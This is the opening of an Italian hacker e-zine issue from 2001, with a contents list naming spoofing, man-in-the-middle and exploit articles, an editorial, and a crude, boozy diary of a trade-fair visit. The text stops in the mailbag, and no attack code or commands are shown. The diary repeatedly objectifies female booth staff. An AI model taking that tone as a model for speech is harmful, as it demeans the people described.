{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS Sans Serif;}{\f1\froman\fcharset2 Symbol;}{\f2\fswiss\fprq2 System;}{\f3\fmodern Courier New;}{\f4\fmodern Courier New;}}
{\colortbl\red0\green0\blue0;}
\deflang1040\pard\plain\f3\fs18 .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
\par .,:::::::::::@@@::NN:::N:DDD,:::AA::
\par .,:::::::::B@@@@@@@@@@@@  .:,  ,H@@@A:  \
::::.  @@@,     S@@@@@@; ,,;   @@@@@@@@\
:::. S@@@. .::,  r@@@@@@ ,,.; ;@@@@@@@.\
::: ;@@@@  :::::  #@@@@@ ,,.  ;@@@@@@@@ \
::, @@@@@: .,:::, r@@@@: ,:,  @@@@@@@@@, \
::, @@@@@@        @@@@  .:,  #@@@@@@@@@#   \
::: 2@@@@@@@G.  M@@&   ,:.  S@@@@@@@@@@@@5    \
:::. #@@@@@@@@@@@:   ,:,  .@@@@@@@@@@@@@@@@A   \
::::   :@@@@@i    .::::  @@@@@@@@@@@@@@@@@@@@@i \
:::::,             ,::: h@@@@@@@@@@@@@@@@@@@@@@H  \
:::::,.   ;3H@@@H,   ., @@@@@@@@@@@@@@@@@@@@@@@@@;  \
\pard\plain\f3\fs18 :::,   r@@@@@@@@@@@@; .@@@@@@@@@@@@@@@@@@@@@@@@@@@ \plain\f4\fs18 //////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\par \pard\plain\f3\fs18 ::.  #@@;     :@@@@@@s  @@@@@@@@@@@@@@@@@@@@@@@@@@@     IL BATTITO CARDIACO DEL\
:.  @@@  .::,   @@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@           CYBERSPACE\
: ,@@@M  :::::, ,@@@@@ ,,  .@@@@@@@@@@@@@@@@@@@@@@@@@X \plain\f4\fs18 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\///////////\plain\f3\fs18 \
, @@@@@  ,::::: @@@@@ ,,,   .@@@@@@@@@@@@@@@@@@@@@@@\
, @@@@@H        r@@@: .:::: i@@@@@@@@@@@@@@@@@@@@@@@  \
, A@@@@@@3    .@@@,  .:::::  @@@@@@@@@@@@@@@@@@@@@@@@  \
:  S@@@@@@@@@@@@   .,::::,,  @@@@@@@@@@@@@@@@@@@@@@@@; \
::        A@r      ,,::.     @@r .9 @@@@@@@@@@@@@@@@@  \
:::.    H@@@@@@h;       @@@@@@@@&.r @@3@@@@@@@@@@@@@@  \
:::.@@@@@@@@@@@@@@@@@&:         . ;i@@hHi@@@@@@@@@@@@3  \
:::.       .X@@@@@@@@@@@@@@X.          . @@@@@@@@@@@@@@,\
::::::,,,.      :#@@@@@@@@@@@@@@@r         rB@@@@@@@@@@,
\par :::::::::::::,.      ;H@@@@@@@@@@@@@@@#r       #@@@@@r  \
::::::::::::::::::,.       ;&@@@@@@@@@@@@@@@@G.                   r@@@@#,   \
::::::::::::::::::::::::,.       .r#@@@@@@@@@@@@@@@@@@@#BM@@@@@@@@@@,    \
::::::::::::::::::::::::::::::,.         :S#@@@@@@@@@@@@@@@@@&;      \
:::::::::::::::::::::::::::::::::::::,..,::::::::::::::::::::::::::::::::::::::::::\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA                                                   #04 - 19/11/2001 | \
+-------------------------------------------------------------------------------+\
|                           Tutto nel ciberspazio                               |\
|                      E' scandito dalla squarewave                             |\
|                          Dei micro-processori                                 |\
|                           Il clock dei micro                                  |\
|                                 E' come                                       |\
|                           Un battito cardiaco                                 | \
|                               Elettronico...                                  |\
+-------------------------------------------------------------------------------+\
|           ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it            |\
|            mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net              |\
+-------------------------------------------------------------------------------+\
\
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->\
\
+-------------------------------------------------------------------------------+\
| COSTITUZIONE DELLA REPUBBLICA ITALIANA                                        |\
| Diritti e doveri dei cittadini: Rapporti civili                               |\
|                                                                               |\
| Art.21 - Tutti hanno diritto di manifestare liberamene il proprio pensiero    |\
|          con la parola, lo scritto e ogni altro mezzo di diffusione. [...]    |\
+-------------------------------------------------------------------------------+\
\
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->\
\
+-------------------------------------------------------------------------------+\
| INDICE                                                                        |\
+-------------------------------------------------------------------------------+\
| [L0GiN]                                                                       |\
| 0x01 EDiT0RiALE ................................................ [oq ~ staff] | \
| 0x02 CR0NACHE DA SMAU .......................................... [oq ~ staff] | \
| 0x03 RETR: LA P0STA Di 0Q ...................................... [oq ~ staff] | \
| 0x04 ME L'HA DETT0 Mi0 CUGGiN0.................................... [tdi110cv] | \
+-------------------------------------------------------------------------------+\
| [HACKiNG]                                                                     |\
| 0x05 P0RTE, MA QUANTE S0N0? ..................................... [TheMRcode] |\
| 0x06 HACK UNiX SHELL ................................................. [D3FU] |\
| 0x07 SP00FiNG & HiJACKiNG ...................................... [CityHunter] |\
| 0x08 iP SP00FiNG ATTACK .............................................. [E4zy] |\
| 0x09 MAN iN THE MiDDLE ATTACK - Hunt v.1.5 ........................... [E4zy] |\
+-------------------------------------------------------------------------------+\
| [LiNUX]                                                                       |\
| 0x0A LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD .............. [xyzzy] |\
+-------------------------------------------------------------------------------+\
| [L'ANG0L0 DEGLi EXPL0iT]                                                      |\
| 0x0B IIS 5.0 PRiNTER 0VERFL0W ............................. [MightyInquisitor]|\
+-------------------------------------------------------------------------------+\
| [NETW0RKiNG]                                                                  |\
| 0x0C i PR0T0C0LLi Di RETE TCP/IP - IPX/SPX ........................ [shnyper] |\
+-------------------------------------------------------------------------------+\
| [C0DiNG]                                                                      |\
| 0x0D C0RS0 Di C [PARTE TERZA] ...................................... [JEYoNE] |\
| 0x0E iNTR0 ALLE MACR0 (7/8) ........................................ [Mastro] |\
| 0x0F 0S FR0M ZER0 CHAPTER ............................. [Alexander The Great] |\
+-------------------------------------------------------------------------------+\
| [MiSC]                                                                        |\
| 0x10 +++ATH0........................................................ [snake_] |\
| 0x11 TELEF0NARE iN M0D0 AN0NiM0 ............................... [Screener_it] |\
| 0x12 P0P3 ........................................................ [mR_bIs0n] |\
| 0x13 SPYWARE AT ALL ...................................... [MightyInquisitor] |\
| 0x14 TELNET: 0VVER0 BASTA !!!!! ............................... [Screener_it] |\
| 0x15 DiFENDiAM0 LA NOSTRA PRiVACY ................................ [tdi110cv] |\
| 0x16 NiMDA, 0VVER0 QUEST0 F0TTUT0 VERME .......................... [tdi110cv] |\
+-------------------------------------------------------------------------------+\
| [LO SCiAMANO]                                                                 |\
| 0x17 MY LiTTLE MANiFEST0 ............................................. [case] | \
| 0x18 L0RD SHiNVA, CHE FiNE HA FATT0 ? ....................... [Xp Terminator] |\
| 0x19 LEGGE 23 dicembre 1993 n. 547 .......................................... |\
|      Modificazioni ed integrazioni delle norme del codice ................... |\
|      penale e del codice di procedura penale in tema di...................... |\
|      criminalit\'e0 informatica .................................... [qUiCkSoRt] |\
| 0x1A SUL KATAKALi .............................................. [il Magnano] | \
| 0x1B iL TERR0RiSTA SCRiVE A CENSURATi.iT................ [Antonella Serafini] | \
+-------------------------------------------------------------------------------+\
| [L'APPRENDiSTA STREG0NE]                                                      |\
| 0x1C GUiDA SUL MiRC SCRiPTiNG [PARTE SECONDA] ............. [[]_CyBeRPuNK_[]] |\
| 0x1D ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M ........................ [BiGAlex] |\
| 0x1E GESTiONE DEi FiLE iN ASSEMBLER ................................. [bondo] |\
| 0x1F LA DURA ViTA DEi P0STiNi ...................................... [lesion] |\
| 0x20 GUiDA PRATiCA ALLE REGULAR EXPRESSi0N ......................... [Domin3] |\
| 0x21 C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 2 .......... [Zer0] |\
+-------------------------------------------------------------------------------+\
| [SHUTD0WN]                                                                    |\
| 0x22 NU0VA TERRA Di CONQUiSTA .................................... [Tritemius]|\
+-------------------------------------------------------------------------------+\
| [C0NTATTi]                                                                    |\
| 0x23 D0VE TR0VARCi ............................................. [oq ~ staff] |\
+-------------------------------------------------------------------------------+\
| [ALLEGATi]                                                                    |\
| 0x01 0S FR0M ZER0 CHAPTER ............................. [Alexander The Great] |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA MAGAZINE ~ [L0GiN]                                #04 - 19/11/2001 |\
| EDiT0RiALE                                             [oq ~ staff] 0x01/0x23 |\
+-------------------------------------------------------------------------------+\
|Altro giro, altro regalo!                                                      |\
|Eccoci giunti al quinto numero della rivista, sempre pi\'f9 persone si collegano  |\
|su ondaquadra.cjb.net per scaricare la rivista, altrettante la leggono online, |\
|o meglio cercano di leggerla, perch\'e8 la rivista \'e8 rilasciata in formato .txt   |\
|apposta per leggerla comodi comodi sul proprio desktop, e non per leggerla da  |\
|un browser...                                                                  |\
|A proposito di questo volevo darvi una bella notizia, non so se per l'uscita   | \
|di questo numero sar\'e0 gi\'e0 disponibile, ma presto tutti gli articoli saranno    | \
|online quindi non voglio sentire pi\'f9 nessuno lamentarsi perch\'e8 dal web non si  | \
|riesce a leggere o si legge male qualcosa, ok?                                 |\
|...                                                                            |\
|Bene, non risponde nessuno, quindi chi tace acconsente! :P                     |\
|Questo numero presenta delle grosse novit\'e0, a partire dall'uscita bimestrale,  |\
|che magari a voi sembra poco, ma per noi della redazione \'e8 molto lavoro in pi\'f9.|\
|Purtroppo il pro di avere un numero ogni due mesi ha anche un contro, cio\'e8 che |\
|il numero degli articoli, come potrete vedere, non \'e8 ampio come quello del     |\
|numero scorso.                                                                 |\
|In questo numero, tra gli altri articoli volevo segnalare quello di Alexander  |\
|The Great "0S FR0M ZER0 CHAPTER", un articolo davvero scritto bene su come     |\
|progettare e realizzare un sistema operativo partendo da zero.                 |\
|Un altro articolo che ormai sembra essere diventato parte della rivista \'e8      |\
|"iNTR0 ALLE MACR0" di Mastro, che dopo averci accompagnato per tre numeri, con |\
|questo giunge alla fine della sua corsa e ci saluta.                           |\
|Sempre nella sezione C0DiNG abbiamo la terza parte del C0RS0 Di C, nel quale   |\
|si parler\'e0  del cosrutto "IF e ELSE" e del costrutto "SWITCH".                 |\
|Nella sezione L0 SCiAMAN0 troviamo due articoli, uno \'e8 MY LiTTLE MANiFEST0 di  |\
|case, un articolo che parla di etica, e, L0RD SHiNVA, CHE FiNE HA FATT0 di     |\
|XpTerminator che, sempre parlando di etica, va a illustrare le ultime frasi che|\
|Lord Shinva ha pronunciato prima di sparire, oltre ad alcune considerazioni.   |\
|Ne L'APPRENDiSTA STREG0NE troviamo ben 5 articoli che parlano di svariati      |\
|argomenti, partendo da ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M, che, come dice il|\
|titolo parla di crittografia, passando per la GESTi0NE DEi FiLE iN ASSEMBLER e |\
|per la GUiDA PRATiCA ALLE REGULAR EXPRESSi0N, e finendo con LA DURA ViTA DEi   |\
|P0STiNi, un articolo di lesion che spiega come diventare veri e propri postini,|\
|non quelli con la bicicletta e la borsa con i pacchi ma quelli con una keyboard|\
|e un programma da configurare.                                                 |\
|Ovviamente non poteva mancare l'appuntamento con GUiDA SUL MiRC SCRiPTiNG, che,|\
|giunto alla seconda lezione, continua a spiegare come costruirsi uno script per|\
|chattare in maniera pi\'f9 comoda.                                                |\
|Nella sezione MiSC abbiamo un articolo che parla di +++ATH0, la famosa stringa |\
|che "dovrebbe" far andare i modem in hangup, due articoli di Screener_it, uno  |\
|che spiega un'avventura con un telefono e cerca di far rimanere anonimi durante|\
|una chiamata, l'altro parla del telnet, un articolo very newbies che spiega che|\
|cos'\'e8 questo famoso programma veramente indispensabile.                        |\
|Sempre nella sezione MiSC possiamo trovare l'articolo di MightyInquisitor,     |\
|SPYWARE iT ALL, ovvero un testo che cerca di far capire cosa sono e come       |\
|agiscono i famosi "programmi spia" oltre a come rimuoverli.                    |\
|Nella sezione LiNUX troviamo il secondo appuntamento con xyzzy, con il suo     |\
|articolo "LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD" mentre in         |\
|"L'ANG0L0 DEGLi EXPL0iT" abbiamo un articolo di MightyInquisitor che parla     |\
|dell'ormai famoso baco di IIS e quello del Tdi110cv che parla del suo solito   |\
|CGI.                                                                           |\
|Abbiamo le patate, i peperoni, i pomodori per la salsa signora! (ops, mi sono  |\
|confuso, ma il camion del fruttivendolo ormai mi sta condizionando! :))        |\
|Abbiamo ancora un sacco di articoli, ma forse e' meglio non perdere tempo      |\
|a leggere questo editoriale e andare a leggervi subito gli articoli che anche  |\
|per questo bimestre ci accompagnano!                                           |\
|Buona lettura dunque, non mi resta altro che ricordarvi di inserire il vostro  |\
|voto nel sondaggio che abbiamo aperto in home page (http://ondaquadra.cjb.net) |\
|e di scrivere a mail@ondaquadra.cjb.net se avete qualche domanda da porci (no, |\
|non da porci inteso come maiali, ma da porci inteso come..vabb\'e8,buona lettura!)|\
|:)                                                                             |\
|                                                                  JEYoNE       |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L0GiN]                                         #04 - 19/11/2001 |\
| CR0NACHE DA SMAU                                      [__Wei\'a7\'a7e\'a7__] 0x02/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|         CRONACHE DA SMAU 2001.... OVVERO: PRONDOOOO CIAO BELLO                |\
| _________________________________________________________________________     |\
| Data: fra il 22/10/01 Al 29/10/01                                             |\
| Ora: se l' ho scritto in vari giorni come faccio a drvi gli orari?            |\
| Luogo: Treno, Casa, Pub, Ospedale!                                            |\
| Disclaimer: E aCosa Cazzo serve un disclaimer qua? vabbe', se proprio lo      |\
| volete:                                                                       |\
| IO NON C'ERO, SE C' ERO DORMIVO E SE DORMIVO NON POTEVO NE SENTIRE NE         |\
| VEDERE, UNA MELA AL GIORNO LEVA IL MEDICO DI TORNO, LA MUCCA FA MUUUU         |\
| E IL MERLO NON FA MEEEE! CONTENTI?                                            |\
| __________________________________________________________________________    |\
|                                                                               |\
| Prima di iniziare questo articolo che sto' scrivendo sul treno in ritorno     |\
| da milano, volevo salutare il mio grande amico PHOBOS AKA DARKSPARROW AKA     |\
| TRN (in privato ti spieghero' cosa vuol dire trn), che a modo suo e' stato    |\
| ilprotagonista di queste nostre giornate milanesi.....PHOBBINO, non ti        |\
| incazzareche ti ho anche fatto parlare al telefono con una figliola di        |\
| inaudita                                                                      |\
| bellezzala scorsa sera, quindi ringraziami (ovviamente dopo che avrai dato    |\
| l' esame :-D..... minchia che bastardo che sono e che vuoi farci AMORE        |\
| MIOOOOO                                                                       |\
| io sono fatto cosi'.......PRONDOOOOOOO CIAO BELLOOOOOO!                       |\
|                                                                               |\
| OK, OK, finiamo di dire stronzate e diciamone delle altre :-D                 |\
| come consuetudine vi parlo di quanto e' successo in questi giorni:            |\
| 1) la penosa competenza in materia di noti operatori informatici;             |\
| 2) le gnocche che abbiamo visto in fiera;                                     |\
| 3) l' alcool che ci siamo ciucciati;                                          |\
| 4) un lato segreto del tritolo che mi ha lasciato esterefatto;                |\
| 5) ultimo ma non ultimo, anzi primissimo...PHOBOS                             |\
|                                                                               |\
| Dunque dunque, da dove cominciamo?                                            |\
| e che ne so io da dove cominciare, intanto parlo e vi dico che:               |\
| LA NUTELLA E' SESSUALMENTE COMPATIBILE!                                       |\
|                                                                               |\
| Allora, quest' anno aprofittando di 4 giorni a mia disposizione,              |\
| ho avuto modo di girare bene rionero.... ehm.. SMAU e poter                   |\
| visionare tutte o quasi le nuove tecnologie informatiche, ma                  |\
| doveeee?                                                                      |\
| Devo dire che la cosa piu' interessante di questa fiera erano le              |\
| standiste, soprattutto quelle di aruba.it e la gnoccona dello stand           |\
| della fuji per il resto niente di nuovo a parte qualche piccolezza            |\
| di relativa importanza!                                                       |\
| entrando a smau, il primo stand che ho visitato e' stato quello di            |\
| una nota ditta produttrice di telefoni cellulari, la quale molto              |\
| cortesemente mi invitava ad aggiornare il software del mio telefono,          |\
| io ovviamente ho accettato e sorpresa delle sorprese l' aggiornamento         |\
| mi ha sputtanato il sistema t9 per editare gli sms, incazzatissimo,           |\
| ho fatto richiesta di riaggioranare o retrocedere l' operazione, a            |\
| sto' punto era meglio, almeno prima tutto funzionava :D                       |\
| insomma, ci ho messo mezz' ora per far si che il mio tel tornasse             |\
| a funzionare visto che nessuno degli addetti riusciva a far qualcosa,         |\
| anzi uno di loro addirittura mi invitava a rivolgermi ad un loro point        |\
| esterno.....dico ma siete scemi?!                                             |\
| Sempre al solito stand, mentre attendevo notavo una cosa troppo               |\
| ridicola, l' azienda in questione, che oltre a produrre cellulari             |\
| produce anche monitor, utilizzava dei monitor che erano anche a               |\
| disposizione del pubblico, di tutt' altra marca coprendone penosamente        |\
| l' etichetta con un adesivo, non ho parole!                                   |\
|                                                                               |\
| Vabbe', risolto cio' il mio giro e' proseguito alla volta del                 |\
| padiglione piu' triste della fiera, gia' perche' i signori non                |\
| avevano uno stand, ma un intero padiglione tutto dedicato al loro             |\
| favoloso nuovo sistema operativo, avete capito di chi parlo vero?             |\
| Insomma per quanto riguarda il s.o. in oggetto niente da dire                 |\
| per il momento, visto e considerato che lo sto' usando in versione            |\
| beta da 5 mesi a questa parte e non ho ancora trovato un bug serio            |\
| a parte il sistema di messaggistica istantanea, ma mai dire mai,              |\
| a meno che nella loro politica commerciale non abbiano deciso di              |\
| vendere i bug in seguito ad un prezzo irrisorio :-D                           |\
| e daiiii, non potevo non esprimere i miei pensieri in merito senza            |\
| scherzarci sopra!                                                             |\
|                                                                               |\
| Nel pomeriggio mi ha seguito in fiera il mio fratellone JEYoNE, con           |\
| il quale abbiamo iniziato a cazzeggiare piu' che guardare la fiera.           |\
|                                                                               |\
| La serata e' proseguita sui navigli in compagnia di altri due tipi            |\
| che colgo l' occasione di salutare BOMBOLO E ALEX B, con i quali              |\
| abbiamo bevuto una serie di schifosissimi cocktails, eh si, capita            |\
| anche questo, in compenso alle 2:30 JEYoNE ha avuto la mitica idea di         |\
| andare a mangiare le paste calde, quelle si che erano buone, e' stato         |\
| in quel momento, mentre mangiavo un gustoso cornetto alla nutella             |\
| che ho coniato la frase: LA NUTELLA E' SESSUALMENTE COMPATIBILE!              |\
| concordate? anche se non concordate non me fotte un cazzo :-D                 |\
|                                                                               |\
| L'indomani, in condizioni di coma etilico e sonno mostruoso, mi sono          |\
| rirecato in fiera ed ho rivisto JEYoNE e anche il caro TRITOLO                |\
| (TRITEMIUS n.d.r.), vedendo il mio compagno di bevute trtms era ovvio         |\
| fare come prima tappa una visitina al padiglione piu' serio della fiera,      |\
| quello del bar :-D                                                            |\
|                                                                               |\
| Essendo ormai convinti che la fiera era molto relativa (cazzo la pila         |\
| del portatile e' ormai agli sgoccioli) abbiamo preferito girare per           |\
| vedere un po' di gnocca, parlare della nostra creatura OQ e di                |\
| GIOCATTOLINI, si avete capito bene, giocatolini, ma i nostri giocattolini!    |\
| Siamo giunti alla sera e tritolo e' tornato a casa sua, idem io e JEYoNE      |\
| anche se poi ci siamo rivisti dopo, gia', dopo visto che qualcuno si          |\
| e' presentato in via torino con un po' di ritardo (azz. , ma quello ero io!)  |\
| Insomma AMORIIIII MIEI, come direbbe phobos, abbiamo cenato alle 23,          |\
| siamo andati a casa di un amico di jey a vedere un film pallosissimo, che     |\
| dico pallosissimo, di piu', i suoi amici dormivano tutti.                     |\
|                                                                               |\
| Finita sta' palla, Jey ha deciso di mantenere una promessa che da 2 anni      |\
| non mantiene e mi ha portato a mangiare il panino con la salsiccia alla       |\
| centrale del latte, o fermata della latte come dico io!                       |\
| La serata si e' conclusa cosi': JEY CENSURAMI E TI TAGLIO LE PALLE!           |\
| Il caro jey ha accompagnato la donna a casa dicendo che sarebbe rientrato     |\
| entro 10 minuti, dopo un' ora io e un altro povero pirla eravamo soli         |\
| sotto la pioggia ad attendere che il signorino rientrasse, ma poverino        |\
| era li' che subiva le ire della donna incazzata nera. HI HI HI                |\
| Insomma, alle 3:30 sono riuscito ad andare a nanna!                           |\
|                                                                               |\
| Il giorno dopo, cioe' ieri, cioe' sabato, era il giorno dell' incontro        |\
| totale, ovvero io, jey, tritolo, tdi (portato in fiera con meschino           |\
| inganno da parte mia) e tutto il resto della ciurma di #hackmaniaci           |\
| #ondaquadra e #crack-it, insomma, non tutti ma coloro che hanno chiamato      |\
| all' Oq phone, ovvero il numero di telefono messo a disposizione              |\
| di chi voleva incontrarci, a proposito di cio', mi spiace per il tipo         |\
| che ha chiamato 2 volte e non gli ho risposto, scusa, ma cerca di             |\
| capire, in quel momento ero sulla tazza del cesso e non potevo assolutamente  |\
| risponderti!                                                                  |\
|                                                                               |\
| Fra gli stand piu' interessanti c' era quello della plextor, i quali          |\
| benche' producano eccellenti masterizzatori, hanno attratto la nostra         |\
| attenzione grazie a dei bellissimi accendini a forma di sigaretta che         |\
| regalavano e che noi abbiamo ovviamente preso in quantitativi industriali!    |\
|                                                                               |\
| Durante le giornate di smau io e uno dei miei soci, di cui non cito il nome   |\
| per la sua sicurezza :-) abbiamo stretto una sorta di amicizia e              |\
| tacchinaggio                                                                  |\
| con le due standiste della samsung francesca ed elena anche se il tutto si    |\
| e' limitato ad un costante scambio di gadget :-(, vabbe', almeno abbiamo      |\
| avuto                                                                         |\
| tutti gadget samsung che nessuno ha avuto!                                    |\
|                                                                               |\
| La mattina di sabato io ero a dormire da jey, alle 9:30, stranamente alle     |\
| sue                                                                           |\
| abitudini, e' arrivato tdi puntualissimo e sapete con cosa ha fatto           |\
| colazione?                                                                    |\
| caffe' e grappa, io e jey caffe' e sambuca :-)                                |\
| partiamo alla volta di smau ed entrando ci assale un forte odore di           |\
| salsiccie,                                                                    |\
| cosa volete che facessimo? panino e birra media!                              |\
|                                                                               |\
| Finito il panino arriva il nostro socio tritolo, anche lui affamato... e      |\
| vabbe'                                                                        |\
| lo accontentiamo e ci dirigiamo verso il bar della mitica piazza italia       |\
| dove abbiamo incontrato gli amici di un forum che frequento io, anche li      |\
| abbiamo bevuto un po' di birra giusto per non perdere il vizio, nel           |\
| frattempo                                                                     |\
| conoscevamo un po' di belle figliole!                                         |\
|                                                                               |\
| Vabbe', lasciamo gli amici appena incontrati dandoci appuntamento dopo cena   |\
| e proseguiamo il tour, nel frattempo venivamo assaliti da una fortissima      |\
| PHOBBITE, ovvero abbiamo iniziato a parlare come lui, chi non lo ha mai       |\
| sentito                                                                       |\
| non sa' cosa perde :-) da quel momento in poi nessuno a smesso di parlare     |\
| cosi' fino alla fine della giornata!                                          |\
|                                                                               |\
| Erano le 18 ed ormai ci eravamo proprio rotti le palle di questo cazzo di     |\
| smau                                                                          |\
| ed io ero incazzato nero con l' omnitel che dalle 9 di mattina ancora non     |\
| mi aveva ricaricato il tel.... A quel punto la decisione piu' saggia:         |\
| abbandoniamo la fiera e andiamo verso il duomo a prendere un numero infinito  |\
| di aperitivi, ma la sfiga era con noi, e' venuta giu' una pioggia della       |\
| madonna, svaniva cosi' il progetto "lungo aperitivo", ovviamente cio' non     |\
| andava assolutamente a pregiudicare le nostre intenzioni etiliche, ci siamo   |\
| recati a casa di jey, dove ci siamo consolati a suon di grappa e sambuca!     |\
| Gia' che c'eravamo abbiamo deciso di mandare definitivamente in pensione      |\
| la vecchia caffettiera di jey, un pentium 133 mhz con hard disk modello       |\
| lasagna impazzita, sostituendola con un sicuramente piu' performante          |\
| duron 750 mhz..... cazzarola, mi sono dimenticato di overckloccarlo :-(       |\
|                                                                               |\
| L' ora di cena era ormai vicina e jey guardandoci esclama:                    |\
| AMORI MIEI BBELLI, DOBBIAMO ANDARE A PRENDERE MARIA E POI A CENA              |\
| (pronunciare in phobbesco) e cosi' abbiam fatto.                              |\
|                                                                               |\
| Una volta recuperata la donna di jey, mentre eravamo in macchina, tdi parte   |\
| con un' idea: TELEFONIAMO A PHOBOS :-D                                        |\
| attiviamo il vivavoce e dopo qualche squillo udiamo un portentoso             |\
| PRONDOOOOOO!                                                                  |\
| era lui non c'era ombra di dubbio, eravamo tutti sdraiati dalle risate e      |\
| phobbino ci dice: IN QUESCHTI GIORNI MI STATE FACENDO DIRE SEMPRE PRONDOOO,   |\
| PRONDOOO, PRONDOOOO :-D, inutile dire che da quel momento abbiamo parlato     |\
| solo ed esclusivamente in phobbesco!                                          |\
|                                                                               |\
| Giunti al restaurant, affamati come dei peperoni avariati, attendiamo una     |\
| mezz' oretta prima di sederci a tavola.                                       |\
| All' arrivo della cameriera io con molta disinvoltura le ordino la pizza      |\
| parlando come abatantuono, chissa' perche' e' rimasta un po' esterefatta?!    |\
| ops, sono le 21:30, devo uscire, scusatemi continuo dopo se non sono troppo   |\
| ubriaco!                                                                      |\
|                                                                               |\
| Riecchime, dunque, eravamo rimasti al restaurant, ok, la cena e' proseguita   |\
| fra pizza vino e tdi che si incazzava con jey perche' gli fumava sul muso     |\
| ogni 5 minuti :D.                                                             |\
|                                                                               |\
| Al termine della cena TDI ci abbandona per tornare a casa, noi altri invece,  |\
| rifacciamo tappa sui soliti navigli, in un' altra                             |\
| pizzeria, ma no, mica a mangiare, ma a raggiungere altri amici con i quali    |\
| abbiamo preso d' assedio un disco pub sul naviglio opposto, e qui che dire:   |\
| dopo la delusione di giovedi sono riuscito a bere un mojito come Cristo       |\
| comanda,                                                                      |\
| insomma, forse piu' di uno :D, il locale era un buco e noi una trentina ma    |\
| mi sono molto divertito, soprattutto quando, inaspettatamente a come lo       |\
| conoscevo                                                                     |\
| fino ad allora, ti vedo il tritolo schizzare in pista e ballare come un       |\
| matto...                                                                      |\
| MITICOOOOOOOOOOOOO :D alche' lo guardo, gli vado vicino e gli dico: AH        |\
| TRITO',                                                                       |\
| MA SEI PROPRIO TU? e lui sotto un sorrisino mi confessa: SOLITAMENTE SONO     |\
| ANCHE                                                                         |\
| PEGGIO, COSA CREDEVI?                                                         |\
| insomma, per chi non lo conosce il tritolo e' un tipo tutto d' un pezzo, con  |\
| questo non voglio dire che sia un palloso, anziiiiii, ma in discoteca non ce  |\
| lo                                                                            |\
| facevo proprio.                                                               |\
|                                                                               |\
| Vabbe', dopo un po' di balli e chiacchiere con chi osava passarmi accanto,    |\
| mi                                                                            |\
| sono rirecato al bar con tritolo, alla volta di due kaipiroske alla fragola,  |\
|                                                                               |\
| ritiriamo il prodotto ed attendendo l' eventuale resto (a mo' di              |\
| distributore                                                                  |\
| di sigarette :D) guardo il barman e con fare phobbesco gli dico: AMOREEE      |\
| MMMIO,                                                                        |\
| MA IL RESTO NON ME LO DAI?  fino a qui tutto normale, se non fosse che il     |\
| barman                                                                        |\
| mi guarda e mi dice anche lui in phobbesco: SI CARO MIO, ASCHPETTA UN         |\
| SECONDO                                                                       |\
| CHE TE LO DO! INCREDIBILE PHOBBINO E' CONTAGIOSO AL 100%                      |\
|                                                                               |\
| La serata volgeva al termine, o meglio se era per me e trit continuava, ma    |\
| jey                                                                           |\
| e la sua donna erano stanchi e giustamente (GRRRRRR)bisognava rispettare      |\
| anche                                                                         |\
| il loro volere e l' idea del tritolo di dormire su una panchina in stazione   |\
| non                                                                           |\
| mi stava affatto a genio..... e vabbe', namosene a casa.                      |\
|                                                                               |\
| Durante il tragitto io e il tritolo abbiamo dato conferma a 2 progetti che    |\
| ci                                                                            |\
| giravano per la testa da qualche giorno, iniziamo con quello piu' sicuro:     |\
| fra poco nascera' e ci stiamo gia' lavorando, una nuova e-zine, non           |\
| aspettatevi                                                                   |\
| hacking etc, tutt' altro, ONDAQUAGLIA, questo e'il suo nome, sara' l' esatta  |\
| parodia                                                                       |\
| di ONDAQUADRA, tutti gli articoli saranno nettamente insensati ed avremo      |\
| anche un                                                                      |\
| forum di discussione con tanto di moderatori :D.                              |\
| Perche' la nascita di cio'? bisogna spezzare dalla monotonia di ogni giorno   |\
| ;)                                                                            |\
| Il secondo progetto era quello di trasferirsi a milano io e il trit e         |\
| prendere                                                                      |\
| una casa in affitto insieme, la cosa grave sarebbe trovare un attimo per il   |\
| lavoro, visto e considerato che il motto di quella casa sarebbe: donne,       |\
| alcool e Pc.                                                                  |\
|                                                                               |\
| Raga, per ora e' tutto, nei prossimi giorni spero di tirare giu' anche un     |\
| articolo                                                                      |\
| serio, cosa che al momento non posso fare visto che mi hanno ricoverato in    |\
| ospedale per mononucleosi.....GRRRRRR                                         |\
| credo che a questo articolo se ne ggiungera' uno simile di tdi, cosa credete  |\
| che                                                                           |\
| anche lui se ne stava buono? :D                                               |\
| E che non venga fuori che ci siamo copiati gli articoli heeee!? prrrrrrrrrrrr |\
| Cia' ciao                                                                     |\
|  __Wei\'a7\'a7e\'a7__                                                                  |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L0GiN]                                         #04 - 19/11/2001 |\
| RETR - LA P0STA Di 0Q                                  [oq ~ staff] 0x03/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Date Thu, 25 Oct 2001 20:33:56 +0200                                          |\
| To <mail@ondaquadra.cjb.net>                                                  |\
| From lesion <lesion@...>                                                      |\
| Subject impaginazione...                                                      |\
|                                                                               |\
| [D]                                                                           |\
| <MODE POLEMICO ON>                                                            |\
| 1)volevo solo kiedere se per le prossime uscite era                           |\
| possibile impaginare l'ezine con righe lunghe al max 78                       |\
